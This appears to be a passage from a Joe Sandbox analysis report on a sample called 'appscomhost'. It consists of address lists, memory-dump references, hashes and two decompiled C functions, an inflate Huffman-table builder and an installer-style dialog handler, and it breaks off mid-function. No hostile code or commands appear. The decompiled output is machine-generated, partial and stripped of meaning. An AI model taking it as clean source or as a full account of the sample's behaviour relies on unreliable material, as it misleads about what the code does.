0x00000000
0x00000000
0x00000000
0x00000000
0x00406b6e
0x00406b6e
0x00406b6e
0x00406b71
0x00000000
0x00000000
0x00406b4e
0x00406b4e
0x00406b52
0x00000000
0x00000000
0x00406b58
0x00406b58
0x00406b5b
0x00406b5e
0x00406b63
0x00406b65
0x00406b68
0x00406b6b
0x00406b6b
0x00406b6b
0x00406b73
0x00406b73
0x00406b76
0x00406b78
0x00406b7d
0x00406b80
0x00406b82
0x00406b85
0x00000000
0x00000000
0x00406b8b
0x00406b8b
0x00406b8d
0x00000000
0x00000000
0x00406b93
0x00406b93
0x00406b97
0x00000000
0x00000000
0x00406b9d
0x00406b9d
0x00406ba0
0x00406ba2
0x00406c40
0x00406c40
0x00406c43
0x00406c45
0x00406c45
0x00406c48
0x00406c4b
0x00406c4d
0x00406c4f
0x00406c51
0x00406c51
0x00406c5a
0x00406c5f
0x00406c62
0x00406c65
0x00406c68
0x00406c6b
0x00406c6b
0x00406c6b
0x00406c6e
0x00406c74
0x00406c74
0x00406c7a
0x00406c7a
0x00406c7a
0x00000000
0x00406c6e
0x00406ba8
0x00406ba8
0x00406bae
0x00406bb1
0x00406bb3
0x00406bde
0x00406be1
0x00406be7
0x00406bec
0x00406bf2
0x00406bf8
0x00406bfa
0x00406bfd
0x00406c06
0x00406c0c
0x00406c0c
0x00406bff
0x00406c01
0x00406c03
0x00406c03
0x00406c0e
0x00406c14
0x00406c17
0x00406c19
0x00406c1b
0x00406c21
0x00406c23
0x00406c25
0x00406c28
0x00406c31
0x00406c31
0x00406c33
0x00406c2a
0x00406c2a
0x00406c2d
0x00406c2d
0x00406c35
0x00406c35
0x00406c23
0x00406c38
0x00406c3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c3a
0x00406bb5
0x00406bb5
0x00406bbb
0x00406bc1
0x00406bc3
0x00000000
0x00000000
0x00406bc5
0x00406bc5
0x00406bc7
0x00406bc9
0x00406bcc
0x00406bd3
0x00406bd3
0x00406bd5
0x00406bce
0x00406bce
0x00406bd0
0x00406bd0
0x00406bd7
0x00406bd9
0x00406bdc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ce0
0x00406ce3
0x00406ce6
0x00406cec
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ec3
0x00406ec3
0x00406ec3
0x00406ec6
0x00406ec9
0x00406ecb
0x00406ece
0x00406ed4
0x00406edb
0x00406edd
0x00000000
0x00000000
0x00406db1
0x00406db1
0x00406dd9
0x00406dd9
0x00406dd9
0x00406ddb
0x00000000
0x00000000
0x00406db9
0x00406db9
0x00406dbd
0x00000000
0x00000000
0x00406dc3
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dce
0x00406dd0
0x00406dd3
0x00406dd6
0x00406dd6
0x00406dd6
0x00406ddd
0x00406ddd
0x00406de5
0x00406de8
0x00406dee
0x00406df1
0x00406df5
0x00406df9
0x00406dfc
0x00406dff
0x00406e17
0x00406e17
0x00406e1a
0x00406e28
0x00406e2b
0x00406e1c
0x00406e1c
0x00406e1e
0x00406e25
0x00406e25
0x00406e54
0x00406e54
0x00406e54
0x00406e57
0x00406e59
0x00000000
0x00000000
0x00406e34
0x00406e34
0x00406e38
0x00000000
0x00000000
0x00406e3e
0x00406e3e
0x00406e41
0x00406e44
0x00406e47
0x00406e49
0x00406e4b
0x00406e4e
0x00406e51
0x00406e51
0x00406e51
0x00406e5b
0x00406e5b
0x00406e5d
0x00406e5f
0x00406e6a
0x00406e6d
0x00406e70
0x00406e72
0x00406e74
0x00406e76
0x00406e79
0x00406e7c
0x00406e81
0x00406e84
0x00406e87
0x00406e8a
0x00406e91
0x00406e94
0x00406e96
0x00000000
0x00000000
0x00406e9c
0x00406e9c
0x00406ea0
0x00406eb1
0x00406eb1
0x00406eb1
0x00406eb3
0x00406eb3
0x00406eb7
0x00406eb7
0x00406eb7
0x00406eb9
0x00406eba
0x00406ebd
0x00406ebd
0x00406ebd
0x00406ec0
0x00000000
0x00406ec0
0x00406ea2
0x00406ea2
0x00406ea5
0x00000000
0x00000000
0x00406eab
0x00406eab
0x00000000
0x00406eab
0x00406e01
0x00406e01
0x00406e03
0x00406e05
0x00406e08
0x00406e0b
0x00406e0f
0x00406e0f
0x00406ee3
0x00406ee3
0x00406ee6
0x00406eed
0x00406ef1
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efe
0x00406f01
0x00406f03
0x00406f04
0x00406f07
0x00406f12
0x00406f15
0x00406f2c
0x00406f31
0x00406f38
0x00406f3d
0x00406f41
0x00406f43
0x00406f43
0x00406f43
0x00406f46
0x00406f48
0x00000000
0x00406f4e
0x00406f4e
0x00406f52
0x00406f5d
0x00406f70
0x00406f75
0x00406f7a
0x00406f7c
0x00000000
0x00000000
0x00406f82
0x00406f82
0x00406f85
0x00406f87
0x00406f95
0x00406f95
0x00406f98
0x00406f98
0x00406f9b
0x00406f9e
0x00406fa1
0x00406fa4
0x00406fa7
0x00406faa
0x00000000
0x00406faa
0x00406f89
0x00406f89
0x00406f8f
0x00000000
0x00000000
0x00000000
0x00406f8f
0x00000000
0x00000000
0x00000000
0x0040732e
0x0040732e
0x00407334
0x0040733a
0x0040733f
0x00407345
0x0040734b
0x0040734d
0x00407350
0x00407359
0x0040735f
0x0040735f
0x00407352
0x00407354
0x00407356
0x00407356
0x00407361
0x00407363
0x00407366
0x004073a1
0x004073a1
0x00000000
0x00407368
0x00407368
0x00407368
0x0040736e
0x00407371
0x00407373
0x004073a8
0x004073aa
0x00000000
0x004073aa
0x00000000
0x00407373
0x00000000
0x004069b2
0x00407380
0x00000000
0x00407380
0x00406d94
0x00406d96
0x00000000
0x00000000
0x00406d98
0x00406d98
0x00406d9b
0x00000000
0x00406d9b
0x00406ce0
0x00406ca1
0x00407385
0x00407388
0x0040738a
0x00407393
0x00407399
0x00000000

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction ID: 1f017aaef81dd0f0ed7cb9892c5a428a4034ef251f890bfd5ca3fce11066bb94
Opcode Fuzzy Hash: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction Fuzzy Hash: 8FE1AA71A04709DFDB24CF58C880BAEB7F5EB45305F15842EE896AB2D1D738AA91CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00407458, Relevance: .3, Instructions: 300
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00407458(signed char _a4, char _a5, short _a6, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int* _a24, signed int _a28, intOrPtr _a32, signed int* _a36) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr* _v32;
				signed int* _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v116;
				signed int _v176;
				signed int _v180;
				signed int _v240;
				signed int _t166;
				signed int _t168;
				intOrPtr _t175;
				signed int _t181;
				void* _t182;
				intOrPtr _t183;
				signed int* _t184;
				signed int _t186;
				signed int _t187;
				signed int* _t189;
				signed int _t190;
				intOrPtr* _t191;
				intOrPtr _t192;
				signed int _t193;
				signed int _t195;
				signed int _t200;
				signed int _t205;
				void* _t207;
				short _t208;
				signed char _t222;
				signed int _t224;
				signed int _t225;
				signed int* _t232;
				signed int _t233;
				signed int _t234;
				void* _t235;
				signed int _t236;
				signed int _t244;
				signed int _t246;
				signed int _t251;
				signed int _t254;
				signed int _t256;
				signed int _t259;
				signed int _t262;
				void* _t263;
				void* _t264;
				signed int _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				signed int _t274;
				intOrPtr* _t275;
				unsigned int _t276;
				void* _t277;
				signed int _t278;
				intOrPtr* _t279;
				signed int _t281;
				intOrPtr _t282;
				intOrPtr _t283;
				signed int* _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t296;
				signed int* _t297;
				intOrPtr _t298;
				void* _t299;

				_t278 = _a8;
				_t187 = 0x10;
				memset( &_v116, 0, _t187 << 2);
				_t189 = _a4;
				_t233 = _t278;
				do {
					_t166 =  *_t189;
					_t189 =  &(_t189[1]);
					 *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) =  *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) + 1;
					_t233 = _t233 - 1;
				} while (_t233 != 0);
				if(_v116 != _t278) {
					_t279 = _a28;
					_t267 =  *_t279;
					_t190 = 1;
					_a28 = _t267;
					_t234 = 0xf;
					while(1) {
						_t168 = 0;
						if( *((intOrPtr*)(_t299 + _t190 * 4 - 0x70)) != 0) {
							break;
						}
						_t190 = _t190 + 1;
						if(_t190 <= _t234) {
							continue;
						}
						break;
					}
					_v8 = _t190;
					if(_t267 < _t190) {
						_a28 = _t190;
					}
					while( *((intOrPtr*)(_t299 + _t234 * 4 - 0x70)) == _t168) {
						_t234 = _t234 - 1;
						if(_t234 != 0) {
							continue;
						}
						break;
					}
					_v28 = _t234;
					if(_a28 > _t234) {
						_a28 = _t234;
					}
					 *_t279 = _a28;
					_t181 = 1 << _t190;
					while(_t190 < _t234) {
						_t182 = _t181 -  *((intOrPtr*)(_t299 + _t190 * 4 - 0x70));
						if(_t182 < 0) {
							L64:
							return _t168 | 0xffffffff;
						}
						_t190 = _t190 + 1;
						_t181 = _t182 + _t182;
					}
					_t281 = _t234 << 2;
					_t191 = _t299 + _t281 - 0x70;
					_t269 =  *_t191;
					_t183 = _t181 - _t269;
					_v52 = _t183;
					if(_t183 < 0) {
						goto L64;
					}
					_v176 = _t168;
					 *_t191 = _t269 + _t183;
					_t192 = 0;
					_t235 = _t234 - 1;
					if(_t235 == 0) {
						L21:
						_t184 = _a4;
						_t271 = 0;
						do {
							_t193 =  *_t184;
							_t184 =  &(_t184[1]);
							if(_t193 != _t168) {
								_t232 = _t299 + _t193 * 4 - 0xb0;
								_t236 =  *_t232;
								 *((intOrPtr*)(0x46a190 + _t236 * 4)) = _t271;
								 *_t232 = _t236 + 1;
							}
							_t271 = _t271 + 1;
						} while (_t271 < _a8);
						_v16 = _v16 | 0xffffffff;
						_v40 = _v40 & 0x00000000;
						_a8 =  *((intOrPtr*)(_t299 + _t281 - 0xb0));
						_t195 = _v8;
						_t186 =  ~_a28;
						_v12 = _t168;
						_v180 = _t168;
						_v36 = 0x46a190;
						_v240 = _t168;
						if(_t195 > _v28) {
							L62:
							_t168 = 0;
							if(_v52 == 0 || _v28 == 1) {
								return _t168;
							} else {
								goto L64;
							}
						}
						_v44 = _t195 - 1;
						_v32 = _t299 + _t195 * 4 - 0x70;
						do {
							_t282 =  *_v32;
							if(_t282 == 0) {
								goto L61;
							}
							while(1) {
								_t283 = _t282 - 1;
								_t200 = _a28 + _t186;
								_v48 = _t283;
								_v24 = _t200;
								if(_v8 <= _t200) {
									goto L45;
								}
								L31:
								_v20 = _t283 + 1;
								do {
									_v16 = _v16 + 1;
									_t296 = _v28 - _v24;
									if(_t296 > _a28) {
										_t296 = _a28;
									}
									_t222 = _v8 - _v24;
									_t254 = 1 << _t222;
									if(1 <= _v20) {
										L40:
										_t256 =  *_a36;
										_t168 = 1 << _t222;
										_v40 = 1;
										_t274 = _t256 + 1;
										if(_t274 > 0x5a0) {
											goto L64;
										}
									} else {
										_t275 = _v32;
										_t263 = _t254 + (_t168 | 0xffffffff) - _v48;
										if(_t222 >= _t296) {
											goto L40;
										}
										while(1) {
											_t222 = _t222 + 1;
											if(_t222 >= _t296) {
												goto L40;
											}
											_t275 = _t275 + 4;
											_t264 = _t263 + _t263;
											_t175 =  *_t275;
											if(_t264 <= _t175) {
												goto L40;
											}
											_t263 = _t264 - _t175;
										}
										goto L40;
									}
									_t168 = _a32 + _t256 * 4;
									_t297 = _t299 + _v16 * 4 - 0xec;
									 *_a36 = _t274;
									_t259 = _v16;
									 *_t297 = _t168;
									if(_t259 == 0) {
										 *_a24 = _t168;
									} else {
										_t276 = _v12;
										_t298 =  *((intOrPtr*)(_t297 - 4));
										 *(_t299 + _t259 * 4 - 0xb0) = _t276;
										_a5 = _a28;
										_a4 = _t222;
										_t262 = _t276 >> _t186;
										_a6 = (_t168 - _t298 >> 2) - _t262;
										 *(_t298 + _t262 * 4) = _a4;
									}
									_t224 = _v24;
									_t186 = _t224;
									_t225 = _t224 + _a28;
									_v24 = _t225;
								} while (_v8 > _t225);
								L45:
								_t284 = _v36;
								_a5 = _v8 - _t186;
								if(_t284 < 0x46a190 + _a8 * 4) {
									_t205 =  *_t284;
									if(_t205 >= _a12) {
										_t207 = _t205 - _a12 + _t205 - _a12;
										_v36 =  &(_v36[1]);
										_a4 =  *((intOrPtr*)(_t207 + _a20)) + 0x50;
										_t208 =  *((intOrPtr*)(_t207 + _a16));
									} else {
										_a4 = (_t205 & 0xffffff00 | _t205 - 0x00000100 > 0x00000000) - 0x00000001 & 0x00000060;
										_t208 =  *_t284;
										_v36 =  &(_t284[1]);
									}
									_a6 = _t208;
								} else {
									_a4 = 0xc0;
								}
								_t286 = 1 << _v8 - _t186;
								_t244 = _v12 >> _t186;
								while(_t244 < _v40) {
									 *(_t168 + _t244 * 4) = _a4;
									_t244 = _t244 + _t286;
								}
								_t287 = _v12;
								_t246 = 1 << _v44;
								while((_t287 & _t246) != 0) {
									_t287 = _t287 ^ _t246;
									_t246 = _t246 >> 1;
								}
								_t288 = _t287 ^ _t246;
								_v20 = 1;
								_v12 = _t288;
								_t251 = _v16;
								if(((1 << _t186) - 0x00000001 & _t288) ==  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0))) {
									L60:
									if(_v48 != 0) {
										_t282 = _v48;
										_t283 = _t282 - 1;
										_t200 = _a28 + _t186;
										_v48 = _t283;
										_v24 = _t200;
										if(_v8 <= _t200) {
											goto L45;
										}
										goto L31;
									}
									break;
								} else {
									goto L58;
								}
								do {
									L58:
									_t186 = _t186 - _a28;
									_t251 = _t251 - 1;
								} while (((1 << _t186) - 0x00000001 & _v12) !=  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0)));
								_v16 = _t251;
								goto L60;
							}
							L61:
							_v8 = _v8 + 1;
							_v32 = _v32 + 4;
							_v44 = _v44 + 1;
						} while (_v8 <= _v28);
						goto L62;
					}
					_t277 = 0;
					do {
						_t192 = _t192 +  *((intOrPtr*)(_t299 + _t277 - 0x6c));
						_t277 = _t277 + 4;
						_t235 = _t235 - 1;
						 *((intOrPtr*)(_t299 + _t277 - 0xac)) = _t192;
					} while (_t235 != 0);
					goto L21;
				}
				 *_a24 =  *_a24 & 0x00000000;
				 *_a28 =  *_a28 & 0x00000000;
				return 0;
			}

0x00407463
0x0040746b
0x0040746f
0x00407471
0x00407474
0x00407476
0x00407476
0x00407478
0x0040747f
0x00407481
0x00407481
0x00407487
0x0040749c
0x004074a4
0x004074a6
0x004074a8
0x004074ab
0x004074ac
0x004074ac
0x004074b2
0x00000000
0x00000000
0x004074b4
0x004074b7
0x00000000
0x00000000
0x00000000
0x004074b7
0x004074bb
0x004074be
0x004074c0
0x004074c0
0x004074c3
0x004074c9
0x004074ca
0x00000000
0x00000000
0x00000000
0x004074ca
0x004074cf
0x004074d2
0x004074d4
0x004074d4
0x004074da
0x004074dc
0x004074ed
0x004074e0
0x004074e4
0x00407789
0x00000000
0x00407789
0x004074ea
0x004074eb
0x004074eb
0x004074f3
0x004074f6
0x004074fa
0x004074fc
0x004074fe
0x00407501
0x00000000
0x00000000
0x00407509
0x0040750f
0x00407511
0x00407513
0x00407514
0x00407529
0x00407529
0x0040752c
0x0040752e
0x0040752e
0x00407530
0x00407535
0x00407537
0x0040753e
0x00407540
0x00407548
0x00407548
0x0040754a
0x0040754b
0x0040755a
0x0040755e
0x00407562
0x00407565
0x00407568
0x0040756d
0x00407570
0x00407576
0x0040757d
0x00407583
0x0040777c
0x0040777c
0x00407781
0x00407790
0x00000000
0x00000000
0x00000000
0x00407781
0x00407590
0x00407593
0x00407596
0x00407599
0x0040759d
0x00000000
0x00000000
0x004075a8
0x004075ab
0x004075ac
0x004075ae
0x004075b4
0x004075b7
0x00000000
0x00000000
0x004075bd
0x004075be
0x004075c1
0x004075c4
0x004075c7
0x004075cd
0x004075cf
0x004075cf
0x004075d7
0x004075db
0x004075e0
0x00407605
0x0040760b
0x0040760d
0x0040760f
0x00407612
0x0040761b
0x00000000
0x00000000
0x004075e2
0x004075e2
0x004075eb
0x004075ef
0x00000000
0x00000000
0x00407600
0x00407600
0x00407603
0x00000000
0x00000000
0x004075f3
0x004075f6
0x004075f8
0x004075fc
0x00000000
0x00000000
0x004075fe
0x004075fe
0x00000000
0x00407600
0x00407624
0x0040762a
0x00407634
0x00407636
0x0040763b
0x0040763d
0x00407673
0x0040763f
0x0040763f
0x00407642
0x00407645
0x0040764f
0x00407652
0x00407659
0x00407664
0x0040766b
0x0040766b
0x00407675
0x00407678
0x0040767a
0x00407680
0x00407680
0x00407689
0x0040768c
0x00407691
0x004076a0
0x004076a8
0x004076ad
0x004076d1
0x004076d9
0x004076dd
0x004076e3
0x004076af
0x004076bd
0x004076c0
0x004076c6
0x004076c6
0x004076e7
0x004076a2
0x004076a2
0x004076a2
0x004076f8
0x004076fc
0x00407708
0x00407703
0x00407706
0x00407706
0x00407710
0x00407715
0x0040771d
0x00407719
0x0040771b
0x0040771b
0x00407723
0x00407725
0x0040772c
0x00407736
0x00407740
0x0040775c
0x00407760
0x004075a5
0x004075ab
0x004075ac
0x004075ae
0x004075b4
0x004075b7
0x00000000
0x00000000
0x00000000
0x004075b7
0x00000000
0x00000000
0x00000000
0x00000000
0x00407742
0x00407742
0x00407742
0x00407747
0x00407750
0x00407759
0x00000000
0x00407759
0x00407766
0x00407766
0x00407769
0x00407770
0x00407773
0x00000000
0x00407596
0x00407516
0x00407518
0x00407518
0x0040751c
0x0040751f
0x00407520
0x00407520
0x00000000
0x00407518
0x0040748c
0x00407492
0x00000000

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74bcf81ecb0a63d76df2f52b5064c636593b1bb06d79058e105d0f2082b0a961
Instruction ID: 23ca64ff13a2aa20d9ad5fee56bdb7efcc73d80e2f0b8967dce94fb98838940c
Opcode Fuzzy Hash: 74bcf81ecb0a63d76df2f52b5064c636593b1bb06d79058e105d0f2082b0a961
Instruction Fuzzy Hash: B0C15931E042199BCF14CF68C8805EEBBB2BF89314F25866AD85677380D738B942CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DD4, Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 490
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404DD4(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				int _v32;
				void* _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t191;
				signed int _t203;
				void* _t206;
				long _t212;
				signed int _t216;
				signed int _t227;
				void* _t230;
				void* _t231;
				int _t237;
				long _t242;
				long _t243;
				signed int _t244;
				signed int _t249;
				signed int _t251;
				signed char _t252;
				signed char _t260;
				void* _t265;
				void* _t267;
				signed char* _t285;
				signed char _t286;
				long _t291;
				void* _t298;
				signed int* _t299;
				int _t300;
				long _t301;
				int _t303;
				long _t304;
				int _t305;
				signed int _t306;
				signed int _t309;
				signed int _t316;
				signed char* _t324;
				int _t329;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t191 = GetDlgItem(_a4, 0x408);
				_t298 =  *0x47af48;
				_t331 = SendMessageW;
				_v8 = _t191;
				_v36 = _t298;
				_v24 =  *0x47af14 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t307 = _a16;
					} else {
						_a12 = 0;
						_t307 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t307;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t307 + 4)) == 0x408) {
							if(( *0x47af1d & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t242 = _v16;
									if( *((intOrPtr*)(_t242 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t242 + 0x5c));
									}
									_t243 = _v16;
									if( *((intOrPtr*)(_t243 + 8)) == 0xfffffe39) {
										_t244 =  *(_t243 + 0x5c);
										if( *((intOrPtr*)(_t243 + 0xc)) != 2) {
											 *(_t244 * 0x4018 + _t298 + 8) =  *(_t244 * 0x4018 + _t298 + 8) & 0xffffffdf;
										} else {
											 *(_t244 * 0x4018 + _t298 + 8) =  *(_t244 * 0x4018 + _t298 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t307 = 0 | _a8 != 0x00000413;
								_t249 = E00404D22(_v8, _a8 != 0x413);
								_v20 = _t249;
								if(_t249 >= 0) {
									_t100 = _t298 + 8; // 0x8
									_t307 = _t249 * 0x4018 + _t100;
									_t251 =  *_t307;
									if((_t251 & 0x00000010) == 0) {
										if((_t251 & 0x00000040) == 0) {
											_t252 = _t251 ^ 0x00000001;
										} else {
											_t260 = _t251 ^ 0x00000080;
											if(_t260 >= 0) {
												_t252 = _t260 & 0x000000fe;
											} else {
												_t252 = _t260 | 0x00000001;
											}
										}
										 *_t307 = _t252;
										E0040117D(_v20);
										_a8 = 0x40f;
										_a12 = _v20 + 1;
										_a16 =  !( *0x47af1c) >> 0x00000008 & 0x00000001;
									}
								}
								goto L41;
							}
							_t307 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t230 =  *0x45024c;
								if(_t230 != 0) {
									ImageList_Destroy(_t230);
								}
								_t231 =  *0x450260;
								if(_t231 != 0) {
									GlobalFree(_t231);
								}
								 *0x45024c = 0;
								 *0x450260 = 0;
								 *0x47af80 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x47af1d & 0x00000001) != 0) {
									_t329 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t329);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t329);
								}
								goto L93;
							} else {
								E004011EF(_t307, 0, 0);
								_t203 = _a12;
								if(_t203 != 0) {
									if(_t203 != 0xffffffff) {
										_t203 = _t203 - 1;
									}
									_push(_t203);
									_push(8);
									E00404DA2();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t307, 0, 0);
									_v36 =  *0x450260;
									_t206 =  *0x47af48;
									_v64 = 0xf030;
									_v20 = 0;
									if( *0x47af4c <= 0) {
										L86:
										if( *0x47af0c == 4) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x472edc + 0x10)) != 0) {
											E00404CDD(0x3ff, 0xfffffffb, E00404CF5(5));
										}
										goto L90;
									}
									_t299 = _t206 + 8;
									do {
										_t212 =  *((intOrPtr*)(_v36 + _v20 * 4));
										if(_t212 != 0) {
											_t309 =  *_t299;
											_v72 = _t212;
											_v76 = 8;
											if((_t309 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t299[4]);
												_t299[0] = _t299[0] & 0x000000fe;
											}
											if((_t309 & 0x00000040) == 0) {
												_t216 = (_t309 & 0x00000001) + 1;
												if((_t309 & 0x00000010) != 0) {
													_t216 = _t216 + 3;
												}
											} else {
												_t216 = 3;
											}
											_v68 = (_t216 << 0x0000000b | _t309 & 0x00000008) + (_t216 << 0x0000000b | _t309 & 0x00000008) | _t309 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t309 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v20 = _v20 + 1;
										_t299 =  &(_t299[0x1006]);
									} while (_v20 <  *0x47af4c);
									goto L86;
								} else {
									_t300 = E004012E2( *0x450260);
									E00401299(_t300);
									_t227 = 0;
									_t307 = 0;
									if(_t300 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t307, 0);
										_a16 = _t300;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v24 + _t227 * 4)) != 0) {
											_t307 = _t307 + 1;
										}
										_t227 = _t227 + 1;
									} while (_t227 < _t300);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t237 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t237 == 0xffffffff) {
								goto L93;
							}
							_t301 = SendMessageW(_v12, 0x150, _t237, 0);
							if(_t301 == 0xffffffff ||  *((intOrPtr*)(_v24 + _t301 * 4)) == 0) {
								_t301 = 0x20;
							}
							E00401299(_t301);
							SendMessageW(_a4, 0x420, 0, _t301);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					 *0x47af80 = _a4;
					_t303 = 2;
					_v32 = 0;
					_v20 = _t303;
					 *0x450260 = GlobalAlloc(0x40,  *0x47af4c << 2);
					_t265 = LoadImageW( *0x47af00, 0x6e, 0, 0, 0, 0);
					 *0x450254 =  *0x450254 | 0xffffffff;
					_v16 = _t265;
					 *0x45025c = SetWindowLongW(_v8, 0xfffffffc, E004053ED);
					_t267 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x45024c = _t267;
					ImageList_AddMasked(_t267, _v16, 0xff00ff);
					SendMessageW(_v8, 0x1109, _t303,  *0x45024c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v16);
					_t304 = 0;
					do {
						_t273 =  *((intOrPtr*)(_v24 + _t304 * 4));
						if( *((intOrPtr*)(_v24 + _t304 * 4)) != 0) {
							if(_t304 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E0040644E(_t304, 0, _t331, 0, _t273)), _t304);
						}
						_t304 = _t304 + 1;
					} while (_t304 < 0x21);
					_t305 = _a16;
					_push( *((intOrPtr*)(_t305 + 0x30 + _v20 * 4)));
					_push(0x15);
					E00404367(_a4);
					_push( *((intOrPtr*)(_t305 + 0x34 + _v20 * 4)));
					_push(0x16);
					E00404367(_a4);
					_t306 = 0;
					_v16 = 0;
					if( *0x47af4c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t324 = _v36 + 8;
						_v28 = _t324;
						do {
							_t285 =  &(_t324[0x10]);
							if( *_t285 != 0) {
								_v64 = _t285;
								_t286 =  *_t324;
								_v88 = _v16;
								_t316 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t316;
								_v44 = _t306;
								_v72 = _t286 & _t316;
								if((_t286 & 0x00000002) == 0) {
									if((_t286 & 0x00000004) == 0) {
										 *( *0x450260 + _t306 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
